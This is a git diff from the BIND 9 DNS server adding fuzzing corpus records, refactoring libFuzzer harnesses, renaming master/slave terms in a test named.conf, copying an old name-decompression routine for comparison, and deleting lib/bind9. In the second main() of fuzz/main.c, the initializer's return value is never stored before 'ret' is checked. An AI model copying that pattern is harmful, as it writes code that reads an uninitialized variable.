+IN RKEY	0 ( 255 1 AQMFD5raczCJHViKtLYhWGz8hMY	9UGRuniJDBzC7w0aRyzWZriO6i2odGWWQVucZqKV	sENW91IOW4vqudngPZsY3GvQ/xVA8/7pyFj6b7Esg	a60zyGW6LFe9r8n6paHrlG5ojqf0BaqHT+8= )
diff --git a/fuzz/dns_rdata_fromtext.in/rp b/fuzz/dns_rdata_fromtext.in/rp
new file mode 100644
index 0000000000..04e65c2f78
--- /dev/null
+++ b/fuzz/dns_rdata_fromtext.in/rp
@@ -0,0 +1 @@
+IN RP	mbox-dname txt-dname
diff --git a/fuzz/dns_rdata_fromtext.in/rrsig b/fuzz/dns_rdata_fromtext.in/rrsig
new file mode 100644
index 0000000000..53819d018e
--- /dev/null
+++ b/fuzz/dns_rdata_fromtext.in/rrsig
@@ -0,0 +1 @@
+IN RRSIG	NSEC 1 3 ( 3600 20000102030405	19961211100908 2143 foo.nil. 	MxFcby9k/yvedMfQgKzhH5er0Mu/vILz45I	kskceFGgiWCn/GxHhai6VAuHAoNUz4YoU1t	VfSCSqQYn6//11U6Nld80jEeC8aTrO+KKmCaY= )
diff --git a/fuzz/dns_rdata_fromtext.in/rt b/fuzz/dns_rdata_fromtext.in/rt
new file mode 100644
index 0000000000..32686381f7
--- /dev/null
+++ b/fuzz/dns_rdata_fromtext.in/rt
@@ -0,0 +1 @@
+IN RT	0 intermediate-host
diff --git a/fuzz/dns_rdata_fromtext.in/sig b/fuzz/dns_rdata_fromtext.in/sig
new file mode 100644
index 0000000000..f92bd7083b
--- /dev/null
+++ b/fuzz/dns_rdata_fromtext.in/sig
@@ -0,0 +1 @@
+IN SIG	NXT 1 3 ( 3600 20000102030405	19961211100908 2143 foo.nil. 	MxFcby9k/yvedMfQgKzhH5er0Mu/vILz45I	kskceFGgiWCn/GxHhai6VAuHAoNUz4YoU1t	VfSCSqQYn6//11U6Nld80jEeC8aTrO+KKmCaY= )
diff --git a/fuzz/dns_rdata_fromtext.in/sink b/fuzz/dns_rdata_fromtext.in/sink
new file mode 100644
index 0000000000..a85cc45ea4
--- /dev/null
+++ b/fuzz/dns_rdata_fromtext.in/sink
@@ -0,0 +1 @@
+IN SINK	8 0 2 l4ik
diff --git a/fuzz/dns_rdata_fromtext.in/smimea b/fuzz/dns_rdata_fromtext.in/smimea
new file mode 100644
index 0000000000..95107a1bcc
--- /dev/null
+++ b/fuzz/dns_rdata_fromtext.in/smimea
@@ -0,0 +1 @@
+IN SMIMEA	( 1 1 2 92003ba34942dc74152e2f2c408d29ec	a5a520e7f2e06bb944f4dca346baf63c	1b177615d466f6c4b71c216a50292bd5	8c9ebdd2f74e38fe51ffd48c43326cbc )
diff --git a/fuzz/dns_rdata_fromtext.in/soa b/fuzz/dns_rdata_fromtext.in/soa
new file mode 100644
index 0000000000..d3a677c4b1
--- /dev/null
+++ b/fuzz/dns_rdata_fromtext.in/soa
@@ -0,0 +1 @@
+IN SOA a.test. hostmaster.null. 1613723740 900 300 604800 900
diff --git a/fuzz/dns_rdata_fromtext.in/spf b/fuzz/dns_rdata_fromtext.in/spf
new file mode 100644
index 0000000000..a15ca1616c
--- /dev/null
+++ b/fuzz/dns_rdata_fromtext.in/spf
@@ -0,0 +1 @@
+IN SPF	"v=spf1" " -all"
diff --git a/fuzz/dns_rdata_fromtext.in/sshfp b/fuzz/dns_rdata_fromtext.in/sshfp
new file mode 100644
index 0000000000..bc15aa464f
--- /dev/null
+++ b/fuzz/dns_rdata_fromtext.in/sshfp
@@ -0,0 +1 @@
+IN SSHFP	4 2 C76D8329954DA2835751E371544E963EFDA099080D6C58DD2BFD9A31 6E162C83
diff --git a/fuzz/dns_rdata_fromtext.in/svbc-max-token b/fuzz/dns_rdata_fromtext.in/svbc-max-token
new file mode 100644
index 0000000000..6d1a265d9f
--- /dev/null
+++ b/fuzz/dns_rdata_fromtext.in/svbc-max-token
@@ -0,0 +1 @@
+1 65 8 . aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=
diff --git a/fuzz/dns_rdata_fromtext.in/ta b/fuzz/dns_rdata_fromtext.in/ta
new file mode 100644
index 0000000000..429d4263f3
--- /dev/null
+++ b/fuzz/dns_rdata_fromtext.in/ta
@@ -0,0 +1 @@
+IN TA	30795 1 1 (		310D27F4D82C1FC2400704EA9939FE6E1CEA		A3B9 )
diff --git a/fuzz/dns_rdata_fromtext.in/talink b/fuzz/dns_rdata_fromtext.in/talink
new file mode 100644
index 0000000000..1788a62283
--- /dev/null
+++ b/fuzz/dns_rdata_fromtext.in/talink
@@ -0,0 +1 @@
+IN TALINK	. talink1
diff --git a/fuzz/dns_rdata_fromtext.in/tkey b/fuzz/dns_rdata_fromtext.in/tkey
new file mode 100644
index 0000000000..eb38e20181
--- /dev/null
+++ b/fuzz/dns_rdata_fromtext.in/tkey
@@ -0,0 +1 @@
+IN TKEY algo.test. 0 0 0 0 2 MjI= 1 MQ==
diff --git a/fuzz/dns_rdata_fromtext.in/tlsa b/fuzz/dns_rdata_fromtext.in/tlsa
new file mode 100644
index 0000000000..0b65f21abe
--- /dev/null
+++ b/fuzz/dns_rdata_fromtext.in/tlsa
@@ -0,0 +1 @@
+IN TLSA ( 0 0 1 d2abde240d7cd3ee6b4b28c54df034b9  7983a1d16e8a410e4561cb106618e971 )
diff --git a/fuzz/dns_rdata_fromtext.in/txt b/fuzz/dns_rdata_fromtext.in/txt
new file mode 100644
index 0000000000..a20b12871a
--- /dev/null
+++ b/fuzz/dns_rdata_fromtext.in/txt
@@ -0,0 +1 @@
+IN TXT	"\"foo\010bar\""
diff --git a/fuzz/dns_rdata_fromtext.in/uid b/fuzz/dns_rdata_fromtext.in/uid
new file mode 100644
index 0000000000..7f662f1bbc
--- /dev/null
+++ b/fuzz/dns_rdata_fromtext.in/uid
@@ -0,0 +1 @@
+IN UID	\# 1 02
diff --git a/fuzz/dns_rdata_fromtext.in/uinfo b/fuzz/dns_rdata_fromtext.in/uinfo
new file mode 100644
index 0000000000..ec979be255
--- /dev/null
+++ b/fuzz/dns_rdata_fromtext.in/uinfo
@@ -0,0 +1 @@
+IN UINFO	\# 1 01
diff --git a/fuzz/dns_rdata_fromtext.in/unspec b/fuzz/dns_rdata_fromtext.in/unspec
new file mode 100644
index 0000000000..579eea635a
--- /dev/null
+++ b/fuzz/dns_rdata_fromtext.in/unspec
@@ -0,0 +1 @@
+IN UNSPEC	\# 1 04
diff --git a/fuzz/dns_rdata_fromtext.in/uri b/fuzz/dns_rdata_fromtext.in/uri
new file mode 100644
index 0000000000..94971091f0
--- /dev/null
+++ b/fuzz/dns_rdata_fromtext.in/uri
@@ -0,0 +1 @@
+IN URI	10 20 "https://www.isc.org/"
diff --git a/fuzz/dns_rdata_fromtext.in/x25 b/fuzz/dns_rdata_fromtext.in/x25
new file mode 100644
index 0000000000..1a60ed7155
--- /dev/null
+++ b/fuzz/dns_rdata_fromtext.in/x25
@@ -0,0 +1 @@
+IN X25	"123456789"
diff --git a/fuzz/dns_rdata_fromtext.in/zonemd b/fuzz/dns_rdata_fromtext.in/zonemd
new file mode 100644
index 0000000000..539bb5ef4e
--- /dev/null
+++ b/fuzz/dns_rdata_fromtext.in/zonemd
@@ -0,0 +1 @@
+IN ZONEMD	2019020700 1 0 (        C220B8A6ED5728A971902F7E3D4FD93A        DEEA88B0453C2E8E8C863D465AB06CF3        4EB95B266398C98B59124FA239CB7EEB	)
diff --git a/fuzz/dns_rdata_fromwire_text.c b/fuzz/dns_rdata_fromwire_text.c
index dc995f9b16..c559849f77 100644
--- a/fuzz/dns_rdata_fromwire_text.c
+++ b/fuzz/dns_rdata_fromwire_text.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -40,13 +42,11 @@ static isc_mem_t *mctx = NULL;
 static isc_lex_t *lex = NULL;
 
 int
-LLVMFuzzerInitialize(int *argc __attribute__((unused)),
-		     char ***argv __attribute__((unused))) {
+LLVMFuzzerInitialize(int *argc ISC_ATTR_UNUSED, char ***argv ISC_ATTR_UNUSED) {
 	isc_lexspecials_t specials;
 
 	isc_mem_create(&mctx);
-	RUNTIME_CHECK(dst_lib_init(mctx, NULL) == ISC_R_SUCCESS);
-	CHECK(isc_lex_create(mctx, 64, &lex));
+	isc_lex_create(mctx, 64, &lex);
 
 	memset(specials, 0, sizeof(specials));
 	specials[0] = 1;
@@ -77,7 +77,6 @@ int
 LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) {
 	char totext[64 * 1044 * 4];
 	dns_compress_t cctx;
-	dns_decompress_t dctx;
 	dns_rdatatype_t rdtype;
 	dns_rdataclass_t rdclass;
 	dns_rdatatype_t typelist[256] = { 1000 }; /* unknown */
@@ -134,9 +133,6 @@ LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) {
 	dns_rdatacallbacks_init(&callbacks);
 	callbacks.warn = callbacks.error = nullmsg;
 
-	/* Disallow decompression as we are reading a packet */
-	dns_decompress_init(&dctx, -1, DNS_DECOMPRESS_NONE);
-
 	isc_buffer_constinit(&source, data, size);
 	isc_buffer_add(&source, size);
 	isc_buffer_setactive(&source, size);
@@ -144,10 +140,11 @@ LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) {
 	isc_buffer_init(&target, fromwire, sizeof(fromwire));
 
 	/*
-	 * Reject invalid rdata.
+	 * Reject invalid rdata. (Disallow decompression as we are
+	 * reading a packet)
 	 */
-	CHECK(dns_rdata_fromwire(&rdata1, rdclass, rdtype, &source, &dctx, 0,
-				 &target));
+	CHECK(dns_rdata_fromwire(&rdata1, rdclass, rdtype, &source,
+				 DNS_DECOMPRESS_NEVER, &target));
 	assert(rdata1.length == size);
 
 	/*
@@ -205,8 +202,7 @@ LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) {
 	/*
 	 * Convert rdata back to wire.
 	 */
-	CHECK(dns_compress_init(&cctx, -1, mctx));
-	dns_compress_disable(&cctx);
+	dns_compress_init(&cctx, mctx, DNS_COMPRESS_DISABLED);
 	isc_buffer_init(&target, towire, sizeof(towire));
 	result = dns_rdata_towire(&rdata1, &cctx, &target);
 	dns_compress_invalidate(&cctx);
diff --git a/fuzz/dns_rdata_fromwire_text.in/svcb b/fuzz/dns_rdata_fromwire_text.in/svcb
new file mode 100644
index 0000000000..800a616701
Binary files /dev/null and b/fuzz/dns_rdata_fromwire_text.in/svcb differ
diff --git a/fuzz/fuzz.h b/fuzz/fuzz.h
index 15b2592f7c..49ad08fd6e 100644
--- a/fuzz/fuzz.h
+++ b/fuzz/fuzz.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,10 +11,13 @@
  * information regarding copyright ownership.
  */
 
+#pragma once
+
 #include <stdbool.h>
 #include <stddef.h>
 #include <stdint.h>
 
+#include <isc/dir.h>
 #include <isc/lang.h>
 #include <isc/mem.h>
 #include <isc/once.h>
@@ -26,8 +31,7 @@ ISC_LANG_BEGINDECLS
 extern bool debug;
 
 int
-LLVMFuzzerInitialize(int *argc __attribute__((unused)),
-		     char ***argv __attribute__((unused)));
+LLVMFuzzerInitialize(int *argc ISC_ATTR_UNUSED, char ***argv ISC_ATTR_UNUSED);
 
 int
 LLVMFuzzerTestOneInput(const uint8_t *data, size_t size);
diff --git a/fuzz/isc_lex_getmastertoken.c b/fuzz/isc_lex_getmastertoken.c
index 54c855c0e0..3dc8f558f1 100644
--- a/fuzz/isc_lex_getmastertoken.c
+++ b/fuzz/isc_lex_getmastertoken.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -23,8 +25,7 @@
 bool debug = false;
 
 int
-LLVMFuzzerInitialize(int *argc __attribute__((unused)),
-		     char ***argv __attribute__((unused)));
+LLVMFuzzerInitialize(int *argc ISC_ATTR_UNUSED, char ***argv ISC_ATTR_UNUSED);
 
 int
 LLVMFuzzerTestOneInput(const uint8_t *data, size_t size);
@@ -33,14 +34,9 @@ static isc_mem_t *mctx = NULL;
 static isc_lex_t *lex = NULL;
 
 int
-LLVMFuzzerInitialize(int *argc __attribute__((unused)),
-		     char ***argv __attribute__((unused))) {
-	isc_result_t result;
-
+LLVMFuzzerInitialize(int *argc ISC_ATTR_UNUSED, char ***argv ISC_ATTR_UNUSED) {
 	isc_mem_create(&mctx);
-
-	result = isc_lex_create(mctx, 1024, &lex);
-	REQUIRE(result == ISC_R_SUCCESS);
+	isc_lex_create(mctx, 1024, &lex);
 
 	return (0);
 }
diff --git a/fuzz/isc_lex_getmastertoken.in/named.conf b/fuzz/isc_lex_getmastertoken.in/named.conf
index de8ea9c07d..9cbde3521c 100644
Binary files a/fuzz/isc_lex_getmastertoken.in/named.conf and b/fuzz/isc_lex_getmastertoken.in/named.conf differ
diff --git a/fuzz/isc_lex_gettoken.c b/fuzz/isc_lex_gettoken.c
index 39924800ca..94d60f952b 100644
--- a/fuzz/isc_lex_gettoken.c
+++ b/fuzz/isc_lex_gettoken.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -25,14 +27,9 @@ static isc_mem_t *mctx = NULL;
 static isc_lex_t *lex = NULL;
 
 int
-LLVMFuzzerInitialize(int *argc __attribute__((unused)),
-		     char ***argv __attribute__((unused))) {
-	isc_result_t result;
-
+LLVMFuzzerInitialize(int *argc ISC_ATTR_UNUSED, char ***argv ISC_ATTR_UNUSED) {
 	isc_mem_create(&mctx);
-
-	result = isc_lex_create(mctx, 1024, &lex);
-	REQUIRE(result == ISC_R_SUCCESS);
+	isc_lex_create(mctx, 1024, &lex);
 
 	return (0);
 }
diff --git a/fuzz/isc_lex_gettoken.in/named.conf b/fuzz/isc_lex_gettoken.in/named.conf
index f7d39fdabe..d00c2c526d 100644
--- a/fuzz/isc_lex_gettoken.in/named.conf
+++ b/fuzz/isc_lex_gettoken.in/named.conf
@@ -3,7 +3,7 @@
  *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -93,7 +93,7 @@ options {
 	// forwarding behavior, i.e. ask the forwarders first, and if that
 	// doesn't work then do the full lookup.  You can also say
 	// "forward only;" which is what used to be specified with
-	// "slave" or "options forward-only".  "only" will never attempt
+	// "secondary" or "options forward-only".  "only" will never attempt
 	// a full lookup; only the forwarders will be used.
 	forward first;
 	forwarders {
@@ -101,8 +101,8 @@ options {
 		5.6.7.8;
 	};
 
-	check - names master fail;
-	check - names slave warn;
+	check - names primary fail;
+	check - names secondary warn;
 	check - names response ignore;
 
 	allow - query { any; };
@@ -165,11 +165,7 @@ options {
 #maintain - ixfr - base no; // If yes, keep transaction log file for IXFR
 
 	max - ixfr - log - size 20m;
-	coresize 100;
-	datasize 101;
-	files 230;
 	max - cache - size 1m;
-	stacksize 231;
 	heartbeat - interval 1001;
 	interface - interval 1002;
 	statistics - interval 1003;
@@ -221,10 +217,10 @@ controls {
 	inet 10.0.0.2 allow { none; };
 };
 
-zone "master.demo.zone" {
-	type master; // what used to be called "primary"
+zone "primary.demo.zone" {
+	type primaryr;
 	database "somedb -option1 -option2 arg1 arg2 arg3";
-	file "master.demo.zone";
+	file "primary.demo.zone";
 	check - names fail;
 	allow - update { none; };
 	allow - update - forwarding {
@@ -247,12 +243,12 @@ zone "master.demo.zone" {
 	};
 };
 
-zone "slave.demo.zone" {
-	type slave; // what used to be called "secondary"
-	file "slave.demo.zone";
-	ixfr - base "slave.demo.zone.ixfr"; // File name for IXFR transaction
+zone "secondary.demo.zone" {
+	type secondary;
+	file "secondary.demo.zone";
+	ixfr - base "secondary.demo.zone.ixfr"; // File name for IXFR transaction
 					    // log file
-	masters {
+	primaries {
 		1.2.3.4 port 10 key "foo"; // where to zone transfer from
 		5.6.7.8;
 		6.7.8.9 key "zippo";
@@ -294,8 +290,8 @@ view "test-view" in {
 	additional - from - cache false;
 	additional - from - auth no;
 	match - clients { 10.0.0.1; };
-	check - names master warn;
-	check - names slave ignore;
+	check - names primary warn;
+	check - names secondary ignore;
 	check - names response fail;
 	auth - nxdomain false;
 	recursion true;
@@ -321,9 +317,9 @@ view "test-view" in {
 	min - refresh - time 111;
 
 	zone "view-zone.com" {
-		type master;
+		type primary;
 		allow - update - forwarding { 10.0.0.34; };
-		file "view-zone-master";
+		file "view-zone-primary";
 	};
 
 	server 5.6.7.8 { keys "viewkey"; };
@@ -333,12 +329,12 @@ view "test-view" in {
 };
 
 zone "stub.demo.zone" {
-	type stub; // stub zones are like slave zones,
+	type stub; // stub zones are like secondary zones,
 		   // except that only the NS records
 		   // are transferred.
 	dialup yes;
 	file "stub.demo.zone";
-	masters {
+	primaries {
 		1.2.3.4; // where to zone transfer from
 		5.6.7.8 port 999;
 	};
@@ -382,7 +378,7 @@ acl can_axfr {
    // by can_query are OK
 
 zone "disabled-zone.com" {
-	type master;
+	type primary;
 	file "bar";
 
 	max - retry - time 100;
@@ -392,7 +388,7 @@ zone "disabled-zone.com" {
 };
 
 zone "non-default-acl.demo.zone" {
-	type master;
+	type primary;
 	file "foo";
 	allow - query { can_query; };
 	allow - transfer { can_axfr; };
diff --git a/fuzz/libfuzzer.sh b/fuzz/libfuzzer.sh
index 85d2b3e2b4..a28d86af21 100755
--- a/fuzz/libfuzzer.sh
+++ b/fuzz/libfuzzer.sh
@@ -1,9 +1,11 @@
 #!/bin/sh -ex
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/fuzz/main.c b/fuzz/main.c
index a80701ae85..4bfc66e1c6 100644
--- a/fuzz/main.c
+++ b/fuzz/main.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -92,10 +94,15 @@ test_all_from(const char *dirname) {
 
 int
 main(int argc, char **argv) {
+	int ret;
 	char corpusdir[PATH_MAX];
 	const char *target = strrchr(argv[0], '/');
 
-	(void)LLVMFuzzerInitialize(&argc, &argv);
+	ret = LLVMFuzzerInitialize(&argc, &argv);
+	if (ret != 0) {
+		fprintf(stderr, "LLVMFuzzerInitialize failure: %d\n", ret);
+		return 1;
+	}
 
 	if (argv[1] != NULL && strcmp(argv[1], "-d") == 0) {
 		debug = true;
@@ -132,7 +139,11 @@ main(int argc, char **argv) {
 	int ret;
 	unsigned char buf[64 * 1024];
 
-	(void)LLVMFuzzerInitialize(&argc, &argv);
+	LLVMFuzzerInitialize(&argc, &argv);
+	if (ret != 0) {
+		fprintf(stderr, "LLVMFuzzerInitialize failure: %d\n", ret);
+		return 1;
+	}
 
 #ifdef __AFL_LOOP
 	while (__AFL_LOOP(10000)) { /* only works with afl-clang-fast */
diff --git a/fuzz/old.c b/fuzz/old.c
new file mode 100644
index 0000000000..124e5c688d
--- /dev/null
+++ b/fuzz/old.c
@@ -0,0 +1,223 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+#include <isc/ascii.h>
+#include <isc/buffer.h>
+#include <isc/result.h>
+#include <isc/types.h>
+#include <isc/util.h>
+
+#include <dns/compress.h>
+#include <dns/types.h>
+
+/*
+ */
+
+#include "old.h"
+
+/*
+ * code copied from lib/dns/name.c as of commit
+ * 6967973568fe80b03e1729259f8907ce8792be34
+ */
+
+typedef enum { fw_start = 0, fw_ordinary, fw_newcurrent } fw_state;
+
+#define VALID_NAME(n) ISC_MAGIC_VALID(n, DNS_NAME_MAGIC)
+
+#define INIT_OFFSETS(name, var, default_offsets) \
+	if ((name)->offsets != NULL)             \
+		var = (name)->offsets;           \
+	else                                     \
+		var = (default_offsets);
+
+#define MAKE_EMPTY(name)                           \
+	do {                                       \
+		name->ndata = NULL;                \
+		name->length = 0;                  \
+		name->labels = 0;                  \
+		name->attributes.absolute = false; \
+	} while (0)
+
+#define BINDABLE(name) (!name->attributes.readonly && !name->attributes.dynamic)
+
+isc_result_t
+old_name_fromwire(dns_name_t *name, isc_buffer_t *source, dns_decompress_t dctx,
+		  unsigned int options, isc_buffer_t *target) {
+	unsigned char *cdata, *ndata;
+	unsigned int cused; /* Bytes of compressed name data used */
+	unsigned int nused, labels, n, nmax;
+	unsigned int current, new_current, biggest_pointer;
+	bool done;
+	fw_state state = fw_start;
+	unsigned int c;
+	unsigned char *offsets;
+	dns_offsets_t odata;
+	bool downcase;
+	bool seen_pointer;
+
+	/*
+	 * Copy the possibly-compressed name at source into target,
+	 * decompressing it.  Loop prevention is performed by checking
+	 * the new pointer against biggest_pointer.
+	 */
+
+	REQUIRE(VALID_NAME(name));
+	REQUIRE((target != NULL && ISC_BUFFER_VALID(target)) ||
+		(target == NULL && ISC_BUFFER_VALID(name->buffer)));
+
+	downcase = ((options & DNS_NAME_DOWNCASE) != 0);
+
+	if (target == NULL && name->buffer != NULL) {
+		target = name->buffer;
+		isc_buffer_clear(target);
+	}
+
+	REQUIRE(BINDABLE(name));
+
+	INIT_OFFSETS(name, offsets, odata);
+
+	/*
+	 * Make 'name' empty in case of failure.
+	 */
+	MAKE_EMPTY(name);
+
+	/*
+	 * Initialize things to make the compiler happy; they're not required.
+	 */
+	n = 0;
+	new_current = 0;
+
+	/*
+	 * Set up.
+	 */
+	labels = 0;
+	done = false;
+
+	ndata = isc_buffer_used(target);
+	nused = 0;
+	seen_pointer = false;
+
+	/*
+	 * Find the maximum number of uncompressed target name
+	 * bytes we are willing to generate.  This is the smaller
+	 * of the available target buffer length and the
+	 * maximum legal domain name length (255).
+	 */
+	nmax = isc_buffer_availablelength(target);
+	if (nmax > DNS_NAME_MAXWIRE) {
+		nmax = DNS_NAME_MAXWIRE;
+	}
+
+	cdata = isc_buffer_current(source);
+	cused = 0;
+
+	current = source->current;
+	biggest_pointer = current;
+
+	/*
+	 * Note:  The following code is not optimized for speed, but
+	 * rather for correctness.  Speed will be addressed in the future.
+	 */
+
+	while (current < source->active && !done) {
+		c = *cdata++;
+		current++;
+		if (!seen_pointer) {
+			cused++;
+		}
+
+		switch (state) {
+		case fw_start:
+			if (c < 64) {
+				offsets[labels] = nused;
+				labels++;
+				if (nused + c + 1 > nmax) {
+					goto full;
+				}
+				nused += c + 1;
+				*ndata++ = c;
+				if (c == 0) {
+					done = true;
+				}
+				n = c;
+				state = fw_ordinary;
+			} else if (c >= 192) {
+				/*
+				 * 14-bit compression pointer
+				 */
+				if (!dns_decompress_getpermitted(dctx)) {
+					return (DNS_R_DISALLOWED);
+				}
+				new_current = c & 0x3F;
+				state = fw_newcurrent;
+			} else {
+				return (DNS_R_BADLABELTYPE);
+			}
+			break;
+		case fw_ordinary:
+			if (downcase) {
+				c = isc_ascii_tolower(c);
+			}
+			*ndata++ = c;
+			n--;
+			if (n == 0) {
+				state = fw_start;
+			}
+			break;
+		case fw_newcurrent:
+			new_current *= 256;
+			new_current += c;
+			if (new_current >= biggest_pointer) {
+				return (DNS_R_BADPOINTER);
+			}
+			biggest_pointer = new_current;
+			current = new_current;
+			cdata = (unsigned char *)source->base + current;
+			seen_pointer = true;
+			state = fw_start;
+			break;
+		default:
+			FATAL_ERROR("Unknown state %d", state);
+			/* Does not return. */
+		}
+	}
+
+	if (!done) {
+		return (ISC_R_UNEXPECTEDEND);
+	}
+
+	name->ndata = (unsigned char *)target->base + target->used;
+	name->labels = labels;
+	name->length = nused;
+	name->attributes.absolute = true;
+
+	isc_buffer_forward(source, cused);
+	isc_buffer_add(target, name->length);
+
+	return (ISC_R_SUCCESS);
+
+full:
+	if (nmax == DNS_NAME_MAXWIRE) {
+		/*
+		 * The name did not fit even though we had a buffer
+		 * big enough to fit a maximum-length name.
+		 */
+		return (DNS_R_NAMETOOLONG);
+	} else {
+		/*
+		 * The name might fit if only the caller could give us a
+		 * big enough buffer.
+		 */
+		return (ISC_R_NOSPACE);
+	}
+}
diff --git a/fuzz/old.h b/fuzz/old.h
new file mode 100644
index 0000000000..5c5f82b418
--- /dev/null
+++ b/fuzz/old.h
@@ -0,0 +1,21 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+#pragma once
+
+/*%
+ * For verifying no functional change in the rewrite of dns_name_fromwire()
+ */
+isc_result_t
+old_name_fromwire(dns_name_t *name, isc_buffer_t *source, dns_decompress_t dctx,
+		  unsigned int options, isc_buffer_t *target);
diff --git a/lib/.gitignore b/lib/.gitignore
index 9c93fd5f6b..c52800a76e 100644
--- a/lib/.gitignore
+++ b/lib/.gitignore
@@ -1,4 +1,3 @@
-platform.h
 netdb.h
 gen
 /unit-test-driver.sh
diff --git a/lib/Makefile.am b/lib/Makefile.am
index 39741a427f..62caeeefec 100644
--- a/lib/Makefile.am
+++ b/lib/Makefile.am
@@ -1,3 +1,3 @@
 include $(top_srcdir)/Makefile.top
 
-SUBDIRS = isc dns isccc ns isccfg bind9 irs
+SUBDIRS = isc dns isccc ns isccfg
diff --git a/lib/bind9/Makefile.am b/lib/bind9/Makefile.am
deleted file mode 100644
index f3e8c377fc..0000000000
--- a/lib/bind9/Makefile.am
+++ /dev/null
@@ -1,31 +0,0 @@
-include $(top_srcdir)/Makefile.top
-
-lib_LTLIBRARIES = libbind9.la
-
-libbind9_ladir = $(includedir)/bind9
-libbind9_la_HEADERS =			\
-	include/bind9/check.h		\
-	include/bind9/getaddresses.h
-
-libbind9_la_SOURCES =		\
-	$(libbind9_la_HEADERS)	\
-	check.c			\
-	getaddresses.c
-
-libbind9_la_CPPFLAGS =		\
-	$(AM_CPPFLAGS)		\
-	$(LIBISC_CFLAGS)	\
-	$(LIBDNS_CFLAGS)	\
-	$(LIBISCCFG_CFLAGS)	\
-	$(LIBNS_CFLAGS)		\
-	$(LIBBIND9_CFLAGS)
-
-libbind9_la_LIBADD =		\
-	$(LIBNS_LIBS)		\
-	$(LIBISCCFG_LIBS)	\
-	$(LIBDNS_LIBS)		\
-	$(LIBISC_LIBS)
-
-libbind9_la_LDFLAGS =		\
-	$(AM_LDFLAGS)		\
-	-release "$(PACKAGE_VERSION)"
diff --git a/lib/bind9/include/bind9/check.h b/lib/bind9/include/bind9/check.h
deleted file mode 100644
index 9e7318a813..0000000000
--- a/lib/bind9/include/bind9/check.h
+++ /dev/null
@@ -1,64 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-#ifndef BIND9_CHECK_H
-#define BIND9_CHECK_H 1
-
-/*! \file bind9/check.h */
-
-#include <isc/lang.h>
-#include <isc/types.h>
-
-#include <isccfg/cfg.h>
-
-#ifndef MAX_MIN_CACHE_TTL
-#define MAX_MIN_CACHE_TTL 90
-#endif /* MAX_MIN_CACHE_TTL */
-
-#ifndef MAX_MIN_NCACHE_TTL
-#define MAX_MIN_NCACHE_TTL 90
-#endif /* MAX_MIN_NCACHE_TTL */
-
